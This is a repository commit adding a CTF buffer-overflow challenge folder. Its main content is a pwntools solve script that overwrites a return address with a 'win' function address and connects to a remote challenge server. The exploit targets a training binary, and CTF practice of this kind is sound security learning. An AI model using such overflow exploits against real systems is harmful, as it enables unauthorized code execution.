First CTFs
This commit is contained in:
3
BOF/05_mini_game_arena/.gdb_history
Normal file
3
BOF/05_mini_game_arena/.gdb_history
Normal file
@@ -0,0 +1,3 @@
|
||||
r
|
||||
:q
|
||||
quit
|
||||
BIN
BOF/05_mini_game_arena/mini_game
Executable file
BIN
BOF/05_mini_game_arena/mini_game
Executable file
Binary file not shown.
18
BOF/05_mini_game_arena/solve.py
Normal file
18
BOF/05_mini_game_arena/solve.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.binary = elf = ELF('./mini_game', checksec=False)
|
||||
|
||||
#p = process(elf.path)
|
||||
p = remote('offsec.m0lecon.it', 13509)
|
||||
# Your exploit here
|
||||
OFFSET = 72
|
||||
win = 0x4011fb
|
||||
payload = flat(
|
||||
b'A'*OFFSET,
|
||||
win,
|
||||
)
|
||||
p.send(payload)
|
||||
#p.send(b'cat flag\n')
|
||||
#p.recv()
|
||||
p.interactive()
|
||||
Reference in New Issue
Block a user